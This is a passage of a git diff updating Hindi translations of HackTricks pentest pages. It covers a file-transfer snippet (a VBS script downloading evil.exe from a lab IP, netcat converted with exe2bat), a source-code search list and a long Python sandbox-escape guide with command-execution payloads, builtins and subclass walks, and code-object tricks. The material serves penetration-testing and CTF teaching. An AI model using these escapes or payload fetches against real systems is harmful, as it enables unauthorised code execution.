echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` -## डीबग.एक्सई +## Debug.exe -`डीबग.एक्सई` प्रोग्राम न केवल बाइनरी की जांच की अनुमति देता है बल्कि **हेक्स से उन्हें पुनः निर्माण करने की क्षमता भी है**। इसका मतलब है कि एक बाइनरी के हेक्स प्रदान करके, `डीबग.एक्सई` बाइनरी फ़ाइल उत्पन्न कर सकता है। हालांकि, यह महत्वपूर्ण है कि डीबग.एक्सई का एक **सीमितांकन है जो 64 केबी के आकार तक फ़ाइलों को आसेंबल करने की है**। +The `debug.exe` प्रोग्राम न केवल बाइनरी की जांच करने की अनुमति देता है बल्कि इसमें **हैक्स से उन्हें फिर से बनाने की क्षमता भी है**। इसका मतलब है कि एक बाइनरी का हैक्स प्रदान करके, `debug.exe` बाइनरी फ़ाइल उत्पन्न कर सकता है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि debug.exe में **64 kb आकार तक फ़ाइलों को असेंबल करने की एक सीमा है**। ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` +फिर टेक्स्ट को विंडोज-शेल में कॉपी-पेस्ट करें और एक फ़ाइल nc.exe बनाई जाएगी। + +* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) + ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -**AWS हैकिंग सीखें और प्रैक्टिस करें:** [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -**GCP हैकिंग सीखें और प्रैक्टिस करें:** [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +HackTricks का समर्थन करें -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** और **हैकट्रिक्स क्लाउड** github रेपो में PR जमा करके। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 0982c1f24..49fc5ed98 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,59 +1,45 @@ -# व्यापक स्रोत कोड खोज +# Wide Source Code Search {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard सुरक्षा समूह** +इस पृष्ठ का लक्ष्य **प्लेटफार्मों की गणना करना है जो कोड** (शाब्दिक या regex) को हजारों/लाखों रिपोजिटरी में एक या अधिक प्लेटफार्मों में खोजने की अनुमति देते हैं। -
+यह कई अवसरों पर **लीक की गई जानकारी** या **कमजोरियों** के पैटर्न की खोज में मदद करता है। -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -इस पृष्ठ का उद्देश्य है **प्लेटफॉर्मों की सूची बनाना जो कोड खोजने की अनुमति देती हैं** (शब्दांश या रेजेक्स) हजारों/लाखों रेपो में एक या अधिक प्लेटफॉर्मों पर। - -यह कई अवसरों में मदद करता है **लीक हुई जानकारी** या **कमजोरियों** के पैटर्न खोजने में। - -* [**SourceGraph**](https://sourcegraph.com/search): मिलियनों रेपो में खोजें। एक मुफ्त संस्करण और एक एंटरप्राइज संस्करण (15 दिन का मुफ्त) है। यह रेजेक्स समर्थित करता है। -* [**Github खोज**](https://github.com/search): Github में खोजें। यह रेजेक्स समर्थित करता है। -* शायद यह उपयोगी हो सकता है [**Github कोड खोज**](https://cs.github.com/) भी देखना। -* [**Gitlab उन्नत खोज**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab परियोजनाओं में खोजें। रेजेक्स समर्थित है। -* [**SearchCode**](https://searchcode.com/): लाखों परियोजनाओं में कोड खोजें। +* [**SourceGraph**](https://sourcegraph.com/search): लाखों रिपोजिटरी में खोजें। इसमें एक मुफ्त संस्करण और एक एंटरप्राइज संस्करण (15 दिनों के लिए मुफ्त) है। यह regex का समर्थन करता है। +* [**Github Search**](https://github.com/search): Github में खोजें। यह regex का समर्थन करता है। +* शायद [**Github Code Search**](https://cs.github.com/) की जांच करना भी उपयोगी हो। +* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab प्रोजेक्ट्स में खोजें। regex का समर्थन करता है। +* [**SearchCode**](https://searchcode.com/): लाखों प्रोजेक्ट्स में कोड खोजें। {% hint style="warning" %} -जब आप किसी रेपो में लीक खोजते हैं और `git log -p` जैसी कुछ चलाते हैं, तो याद रखें कि **अन्य शाखाएं भी हो सकती हैं जिनमें अन्य कमिट्स** जो सीक्रेट्स रखते हैं! +जब आप किसी रिपोजिटरी में लीक की तलाश कर रहे हों और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि वहाँ **अन्य शाखाएँ हो सकती हैं जिनमें अन्य कमिट्स** हो सकते हैं जिनमें रहस्य हो सकते हैं! {% endhint %} -**Try Hard सुरक्षा समूह** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 902a0d6bb..a2785b2e3 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,33 +1,25 @@ -# Python सैंडबॉक्स को बायपास करें +# Bypass Python sandboxes {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** +ये कुछ तरकीबें हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनचाहे कमांड को निष्पादित करने के लिए हैं। -
+## Command Execution Libraries -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -ये कुछ ट्रिक्स हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनचाहे कमांड को निष्पादित करने के लिए हैं। - -## कमांड निष्पादन पुस्तकालय - -आपको सबसे पहले यह जानने की आवश्यकता है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या क्या आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं: +पहली बात जो आपको जाननी चाहिए वह यह है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या यदि आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं: ```python os.system("ls") os.popen("ls").read() @@ -66,7 +58,7 @@ system('ls') **Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले python कोड को execute करने की अनुमति देता है। {% endhint %} -Python पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने** की कोशिश करता है (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'` +Python पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने की कोशिश करता है** (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (559).png>) @@ -160,7 +152,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] ``` ## Bypassing protections through encodings (UTF-7) -In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाना पायथन कोड लोड और निष्पादित करने के लिए किया जाता है: +In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने python कोड को लोड और निष्पादित करने के लिए किया जाता है: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -201,11 +193,11 @@ class _:pass ``` ### RCE ऑब्जेक्ट बनाना और ओवरलोडिंग -यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना** सकते हैं, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** **उन्हें सीधे कॉल किए**। +यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना** सकते हैं, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** उन्हें **प्रत्यक्ष रूप से कॉल किए**। #### कस्टम क्लासेस के साथ RCE -आप कुछ **क्लास विधियों** (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) को संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें **बिना** उन्हें सीधे कॉल किए। +आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए। ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -327,8 +319,8 @@ pass ``` ## Builtins -* [**Python2 के बिल्टिन फ़ंक्शंस**](https://docs.python.org/2/library/functions.html) -* [**Python3 के बिल्टिन फ़ंक्शंस**](https://docs.python.org/3/library/functions.html) +* [**Python2 के Builtins फ़ंक्शन**](https://docs.python.org/2/library/functions.html) +* [**Python3 के Builtins फ़ंक्शन**](https://docs.python.org/3/library/functions.html) यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं, तो आप पुस्तकालय आयात कर सकते हैं (ध्यान दें कि आप यहाँ पिछले अनुभाग में दिखाए गए अन्य स्ट्रिंग प्रतिनिधित्व का भी उपयोग कर सकते हैं): ```python @@ -382,7 +374,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** ढूंढने में मदद करेगा। +[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो दर्जनों/**सैकड़ों** **जगहों** को खोजने के लिए है जहाँ आप **builtins** पा सकते हैं। #### Python2 और Python3 ```python @@ -432,7 +424,7 @@ class_obj.__init__.__globals__ #### बायपास के साथ उपकक्षों तक पहुँच -इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच प्राप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं: +इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच पाना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -462,7 +454,7 @@ defined_func.__class__.__base__.__subclasses__() ``` ### खतरनाक पुस्तकालयों का पता लगाना -उदाहरण के लिए, यह जानकर कि पुस्तकालय **`sys`** के साथ **मनमाने पुस्तकालयों को आयात करना संभव है**, आप उन सभी **मॉड्यूल्स की खोज कर सकते हैं जिन्होंने इसके अंदर sys को आयात किया है**: +उदाहरण के लिए, यह जानकर कि पुस्तकालय **`sys`** के साथ **मनमाने पुस्तकालयों को आयात करना संभव है**, आप उन सभी **मॉड्यूल्स की खोज कर सकते हैं जिनमें sys आयात किया गया है**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] @@ -471,7 +463,7 @@ defined_func.__class__.__base__.__subclasses__() ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -हम वही काम **अन्य पुस्तकालयों** के साथ कर सकते हैं जिन्हें हम जानते हैं कि **आदेशों को निष्पादित** करने के लिए उपयोग किया जा सकता है: +हम **अन्य पुस्तकालयों** के साथ भी यही कर सकते हैं जिन्हें हम जानते हैं कि **आदेशों को निष्पादित** करने के लिए उपयोग किया जा सकता है: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -689,8 +681,8 @@ main() यदि आप **python** को एक **स्ट्रिंग** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरणों का उपयोग करके globals या builtins तक पहुँच सकते हैं। {% hint style="info" %} -हालांकि, एक **सीमा** है, आप केवल `.[]` प्रतीकों का उपयोग कर सकते हैं, इसलिए आप **मनमाने कोड को निष्पादित नहीं कर पाएंगे**, केवल जानकारी पढ़ने के लिए।\ -_**यदि आप इस भेद्यता के माध्यम से कोड निष्पादित करना जानते हैं, तो कृपया मुझसे संपर्क करें।**_ +हालांकि, एक **सीमा** है, आप केवल प्रतीकों `.[]` का उपयोग कर सकते हैं, इसलिए आप **मनमाने कोड को निष्पादित नहीं कर पाएंगे**, केवल जानकारी पढ़ने के लिए।\ +_**यदि आप जानते हैं कि इस भेद्यता के माध्यम से कोड कैसे निष्पादित किया जाए, तो कृपया मुझसे संपर्क करें।**_ {% endhint %} ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ @@ -715,12 +707,12 @@ get_name_for_avatar(st, people_obj = people) यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`। -फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं, जैसे कि निर्दिष्ट ऑब्जेक्ट में **`str`**, **`repr`** और **`ascii`** फ़ंक्शंस को **`!s`**, **`!r`**, **`!a`** जोड़कर **executing** करने की संभावना: +फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं, जैसे कि **executing** **functions** **`str`**, **`repr`** और **`ascii`** को निर्दिष्ट ऑब्जेक्ट में **`!s`**, **`!r`**, **`!a`** जोड़कर: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -इसके अलावा, **क्लास में नए फॉर्मेटर्स को कोड करना** संभव है: +इसके अलावा, कक्षाओं में **नए फॉर्मेटर्स को कोड करना** संभव है: ```python class HAL9000(object): def __format__(self, format): @@ -734,7 +726,7 @@ return 'HAL 9000' **अधिक उदाहरण** **फॉर्मेट** **स्ट्रिंग** उदाहरणों के लिए [**https://pyformat.info/**](https://pyformat.info) पर जा सकते हैं {% hint style="danger" %} -Python आंतरिक वस्तुओं से संवेदनशील जानकारी पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की जांच करें: +Python आंतरिक वस्तुओं से संवेदनशील जानकारी पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की भी जांच करें: {% endhint %} {% content-ref url="../python-internal-read-gadgets.md" %} @@ -853,7 +845,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **एक फ़ंक्शन का डिसअसेम्बली** +### **एक फ़ंक्शन का डिसअस्सेम्बली** ```python import dis dis.dis(get_flag) @@ -881,7 +873,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -ध्यान दें कि **यदि आप python sandbox में `dis` आयात नहीं कर सकते** तो आप फ़ंक्शन का **बाइटकोड** प्राप्त कर सकते हैं (`get_flag.func_code.co_code`) और इसे स्थानीय रूप से **डिसअसेंबल** कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री नहीं देखेंगे (`LOAD_CONST`) लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड हो रहे वेरिएबल का ऑफसेट बताता है। +ध्यान दें कि **यदि आप python sandbox में `dis` आयात नहीं कर सकते** तो आप फ़ंक्शन का **bytecode** प्राप्त कर सकते हैं (`get_flag.func_code.co_code`) और इसे स्थानीय रूप से **disassemble** कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री नहीं देखेंगे (`LOAD_CONST`) लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड हो रहे वेरिएबल का ऑफसेट बताता है। ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -906,7 +898,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ## Python संकलन अब, चलिए कल्पना करते हैं कि किसी तरह आप **एक फ़ंक्शन के बारे में जानकारी निकाल सकते हैं जिसे आप निष्पादित नहीं कर सकते** लेकिन आपको इसे **निष्पादित** करने की **आवश्यकता** है।\ -जैसे कि निम्नलिखित उदाहरण में, आप उस फ़ंक्शन का **कोड ऑब्जेक्ट** एक्सेस कर सकते हैं, लेकिन केवल डिस्सेम्बल पढ़ने से आप **फ्लैग की गणना कैसे करें** यह **नहीं जानते** (_एक अधिक जटिल `calc_flag` फ़ंक्शन की कल्पना करें_) +जैसे कि निम्नलिखित उदाहरण में, आप **उस फ़ंक्शन का कोड ऑब्जेक्ट** एक्सेस कर सकते हैं, लेकिन केवल डिसअसेंबल पढ़ने से आप **फ्लैग की गणना कैसे करें** यह **नहीं जानते** (_एक अधिक जटिल `calc_flag` फ़ंक्शन की कल्पना करें_) ```python def get_flag(some_input): var1=1 @@ -919,7 +911,7 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### कोड ऑब्जेक्ट बनाना +### Creating the code object सबसे पहले, हमें यह जानने की आवश्यकता है **कि कोड ऑब्जेक्ट कैसे बनाया और निष्पादित किया जाता है** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे: ```python @@ -952,7 +944,7 @@ types.CodeType.__doc__ ### लीक की गई फ़ंक्शन को फिर से बनाना {% hint style="warning" %} -निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से सीधे फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक** करने की आवश्यकता होगी। +निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से सीधे फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक करने की आवश्यकता होगी**। {% endhint %} ```python fc = get_flag.__code__ @@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी ऐसा कर सकते हैं).\ +In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी वही कर सकते हैं).\ खैर, कभी-कभी यह **स्थानीय मशीन** में एक **संकलित ऑब्जेक्ट** **बनाने** और इसे **CTF मशीन** में निष्पादित करने के लिए उपयोगी हो सकता है (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` फ़ंक्शन नहीं है). For example, let's compile and execute manually a function that reads _./poc.py_: @@ -1018,7 +1010,7 @@ f(42) ### Assert -पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ निष्पादित करने पर एसेट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\ +पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ चलाने पर एसेट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\ इसलिए, जाँचें जैसे ```python def check_permission(super_user): @@ -1030,7 +1022,7 @@ print(f"\nNot a Super User!!!\n") ``` will be bypassed -## References +## संदर्भ * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) @@ -1039,23 +1031,18 @@ will be bypassed * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * 